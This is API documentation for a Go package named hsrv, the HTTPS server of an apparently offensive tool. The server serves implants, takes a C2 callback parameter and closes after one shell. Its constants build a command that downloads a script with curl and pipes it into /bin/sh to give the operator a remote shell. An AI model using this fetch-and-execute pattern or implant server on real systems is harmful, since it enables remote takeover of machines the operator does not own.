Documentation
¶
Overview ¶
Package hsrv - HTTP server
Index ¶
- Constants
- Variables
- type Server
- func (s *Server) Do(ctx context.Context) error
- func (s *Server) ErrorLogf(format string, v ...any)
- func (s *Server) Logf(color opshell.Color, format string, v ...any)
- func (s *Server) Printf(color opshell.Color, format string, v ...any)
- func (s *Server) RErrorLogf(r *http.Request, format string, v ...any)
- func (s *Server) RLogf(color opshell.Color, r *http.Request, format string, v ...any)
- type TemplateParams
Constants ¶
const ( LMFileRequested = "File requested" LKStaticFilesDir = "static_files_dir" )
Log messages and keys.
const ( // ClosingListenerMessage is what we print to tell the user we're // closing the listener after getting a shell when we've also got // -one-shell. ClosingListenerMessage = "Closing listener, because -" + OneShellFlag // OneShellFlag is the flag we use to indicate we only want one shell. OneShellFlag = "one-shell" )
const ( // CurlFormat prints the start of the curl command used to connect // to us. CurlFormat = `curl -sk --pinnedpubkey sha256//%s https://%s` // FileSuffix is added to CurlFormat when telling the user how to get // a file. FileSuffix = "" // ShellSuffix is added to CurlFormat when telling the user haw to get // a shell. ShellSuffix = "/c | /bin/sh" )
const ( LMListening = "Listener started" LMOneShellClosingListener = "Got one shell, closing listener" LKError = "error" LKListenAddr = "address" )
Log messages and keys.
const ( ErrorColor = opshell.ColorRed FileColor = opshell.ColorBlue ScriptColor = opshell.ColorCyan ConnectedColor = opshell.ColorGreen )
Colors for log things
const C2Param = "c2"
C2Param is a URL parameter or header which may be set in requetss to /c to give the URL to which to call back.
const HTTPSPort = "443"
HTTPSPort is the default port for HTTPS and won't be added to URLs in generated scripts.
Variables ¶
var DefaultTemplate string
var ErrOneShellClosed = errors.New("closed after shell received")
ErrOneShellClosed indicates that the listener was closed as expected after receiving a single shell.
Functions ¶
This section is empty.
Types ¶
type Server ¶
type Server struct {
// contains filtered or unexported fields
}
Server serves implants over HTTPS.
func New ¶
func New( sl *slog.Logger, addr string, fdir string, tmplf string, ich <-chan string, och chan<- opshell.CLine, iob *iobroker.Broker, certFile string, cbAddrs []string, printIPv6 bool, oneShell bool, ) (*Server, error)
New returns a new Server, listening on addr. Call its Do method to start it serving. Static files will be served from fdir, if non-empty. If tmplf is non-empty, it is taken as a file from which to read the callback template.
func (*Server) Printf ¶
Printf sends a colored message to the shell. The shell will ensure it ends in a newline. No timestamp will be printed before the line.
func (*Server) RErrorLogf ¶
RErrorLogf sends a pink message to the shell with r's remote address.
type TemplateParams ¶
TemplateParams are combined with the callback template to generate the callback script.